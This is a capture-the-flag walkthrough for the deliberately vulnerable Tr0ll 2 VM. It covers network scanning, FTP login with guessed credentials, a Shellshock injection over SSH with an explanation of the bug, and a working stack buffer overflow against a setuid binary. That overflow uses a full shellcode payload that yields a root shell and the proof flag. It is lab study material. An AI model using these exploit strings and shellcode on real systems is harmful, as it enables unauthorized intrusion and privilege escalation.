It’s time to slay the second troll in the Tr0ll series!
First, a bit of enumeration:
12345678910
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.217.1 00:50:56:c0:00:08 1 60 Unknown vendor
192.168.217.2 00:50:56:fc:f6:8b 1 60 Unknown vendor
192.168.217.129 00:0c:29:cb:3d:2e 1 60 Unknown vendor
192.168.217.254 00:50:56:f3:f4:fc 1 60 Unknown vendor
The IP we want is 192.168.217.129.
123456789101112
nmap -p- -sV -T4 192.168.217.129
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-30 10:27 EDT
Nmap scan report for 192.168.217.129
Host is up (0.000088s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:CB:3D:2E (VMware)
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
You know the drill! Something awaits us on that web server!
Ok, let’s look (sigh). I went through them and only hit on a bunch of 404s and this image in a couple of directories:
Exiftool again..and nothing again..Also tried cat_the_troll as a directory name, nothing there either. A little bit anticlimactic, but remembering the HTML comment of a Tr0ll author, what worked was logging into the FTP server with the credentials of Tr0ll/Tr0ll:
1234567891011121314151617181920
ftp 192.168.217.129
Connected to 192.168.217.129.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (192.168.217.129:root): Tr0ll
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1474 Oct 04 2014 lmao.zip
226 Directory send OK.
ftp> get lmao.zip
local: lmao.zip remote: lmao.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lmao.zip (1474 bytes).
226 Transfer complete.
1474 bytes received in 0.00 secs (8.4682 MB/s)
After downloading the archive, I tried extracting it, but of course there’s a password. Tried a couple of guesses, nothing worked. Lastly, I tried SSH with the same credentials, and although it worked, the session ended instantly.
Back to the web, I decided to download all the cat troll images, since they were in different directories, and might be different themselves:
1234567
ls -l
total 68
-rw-r--r-- 1 root root 15873 May 30 11:48 dont_bother_cat_the_troll.jpg
-rw-r--r-- 1 root root 15831 May 30 11:48 keep_trying_cat_the_troll.jpg
-rw-r--r-- 1 root root 1474 May 30 11:38 lmao.zip
-rw-r--r-- 1 root root 15831 May 30 11:47 noob_cat_the_troll.jpg
-rw-r--r-- 1 root root 15831 May 30 11:49 ok_this_is_it_cat_the_troll.jpg
I set the names to reflect the directories where I got them from. It seems one of them is bigger than the rest. Nothing from exiftool, this time I just tried strings and at the end of the output was this line:
1
Look Deep within y0ur_self for the answer
Finally, getting somewhere. The hint is probably a directory name on the web server, so I went there and did find an answer.txt file. Unfortunately, it was full of what looked like Base64 strings, and massive:
12
wc -l answer.txt
99157 answer.txt
I decoded it with the command: base64 -d answer.txt > decoded.txt, but how to figure the answer in all this sea of trolling? I remembered the troll’s fixation on using underscores, so I tried doing a recursive grep for that:
12
grep -r "_" decoded.txt
noooob_lol
That didn’t work as a password. Next I looked for longest line:
12
wc -L decoded.txt
30 decoded.txt
According to this command, the longest line’s length is 30. I whipped up a quick Python script to find all lines with the length of 30:
#!/usr/bin/env pythonimportargparsedesc="Find and print lines from a file that are a certain length"parser=argparse.ArgumentParser(description=desc)# length argumentparser.add_argument('-l',help='Length value',dest='length',type=int,required=True)# file add_argumentparser.add_argument('-f',help='Filename',dest='filename',type=str,required=True)args=parser.parse_args()withopen(args.filename,"r")asf:forlineinf.readlines():# strip the newline character for accurate countingiflen(line.strip('\n'))==args.length:printline
Well, that didn’t help much. I tried appending commands, but I still got kicked out instantly without running anything. After a bit of head scratching and Google, I got reminded that SSH can be vulnerable to Shellshock, if it meets certain requirements, which are: an unpatched bash (doh), authentication using authorization_keys, and the user in question being restricted in the commands they could run. As it so happens, we have an old machine that may not be patched, key-based authentication, and it makes sense that a user called noob would be restricted!
First, a recap. The Shellshock string is () { :; };, and if followed by a command, that command gets executed. I tried it and:
Excellent! The previous -t flag of the SSH command is useful when you want to run interactive applications on the remote server. Now let’s see if we can spawn a shell:
Finally, we’re in! Before continuing though, I thought it would be helpful to better understand how Shellshock works.
Shellshock explained
Because Bash is a scripting language, you can do things like defining functions:
1
myfunction(){echo"I am a function";}
And then you call it:
12
noob@Tr0ll2:~$myfunctionIamafunction
You can also export functions to environment variables, so they can be run by new bash instances:
12345
noob@Tr0ll2:~$export-fmyfunctionnoob@Tr0ll2:~$env[...]myfunction=(){echo"I am a function"}
Now the function definition is inside the environment variable, and it can be evaluated:
12
bash-cmyfunctionIamafunction
This is intended behavior so far, but there is a vulnerability in which the evaluation continues even after the function end.
1234
exportshocking='() { echo "This is safe" ; }; echo "This is NOT safe"'bash-cshockingThisisNOTsafeThisissafe
Here you can see the vulnerability: the second echo statement was outside the function definition, but it was executed anyway.
Next, the attack fools the shell into accepting a bogus function definition. You can use this string to see if your bash is vulnerable to Shellshock: x=‘() { :;}; echo VULNERABLE’ bash -c :.
There it is, the trolling message was the command that user noob was restricted to. Ok, let’s move on and see how we can get root. I searched for some kernel exploits, but could only find some potential exploits for 64 bit systems, and this one is 32 bit. But then:
Ok..the troll is trying to annoy us..this binary rebooted the machine. I went on to the third and again it restarted! Not much likely for the binaries to be the same, and it was good that I had the initial picture of the binary sizes! It seems the trolling continues..by switching the binaries between directories! Keep in mind the binary sizes, and check often, because they get moved a lot.
123
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
2 MINUTE HARD MODE LOL
Wasn’t sure what this one did, until I got a permission denied when running ls :–) so in those 2 minutes, we are probably stripped by even the basic permissions. By now, it seemed that the only interesting binary would be the one that takes user input (largest one), so I got back to it. I used pattern_create.rb to build a 500 bytes long string and feed it to the binary, and it segfaulted! So, we have a buffer overflow here!
12
Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
Let’s see where exactly in the pattern it happens:
12
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 0x6a413969 -l 500
[*] Exact match at offset 268
Taking a closer look at the registers and stack:
12345678910111213141516171819202122232425
(gdb) r $(python -c "print 'A' * 268 + 'B' * 4 + 'C' * 16")
Starting program: /nothing_to_see_here/choose_wisely/door3/r00t $(python -c "print 'A' * 268 + 'B' * 4 + 'C' * 16")
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info r
eax 0x120 288
ecx 0x0 0
edx 0x0 0
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffb50 0xbffffb50
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x $esp
0xbffffb50: 0x43434343
ESP has been overwritten with part of our string, so we can craft some shellcode and jump to the address of ESP to execute it. I picked the Linux x86 execve /bin/sh shellcode, which is 19 bytes long.
What we have now for a functional exploit:
268 bytes to fill the buffer
overwrite EIP with the address of ESP, which is 0xbffffb50, and in little endian it is \x50\xfb\xff\xbf
(gdb) r $(python -c 'print "A" * 268 + "\x50\xfb\xff\xbf" + "x90" * 16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"')
Starting program: /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A" * 268 + "\x50\xfb\xff\xbf" + "x90" * 16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"')
process 1838 is executing new program: /bin/dash
$ id
uid=1002(noob) gid=1002(noob) groups=1002(noob)
Remember that a shell which you get in GDB has the privileges that GDB runs at, so this is not a real root shell. We have to run it outside GDB. I did so and I got a big..segmentation fault! What worked in GDB didn’t work outside it, and as I was getting frustrated, I looked at other writeups, to see if anyone else had the same problem. It seems it should have run smoothly, but there can be a discrepancy in memory between a live environment and a GDB one. I tweaked the ESP address a few times, before hitting the right one:
123456789
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t $(python -c 'print "A" * 268 + "\x90\xfb\xff\xbf" + "x90" * 16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"')
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
# ls /root/
Proof.txt core1 core2 core3 core4 goal hardmode lmao.zip ran_dir.py reboot
# cat /root/Proof.txt
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4
The valid ESP address was 0xbffffb90. If you try it in GDB though, you will get a segfault there. Ah, this challenge trolled me on so many levels!
12345678
/ A visit to a fresh place will bring \
\ strange work. /
-------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||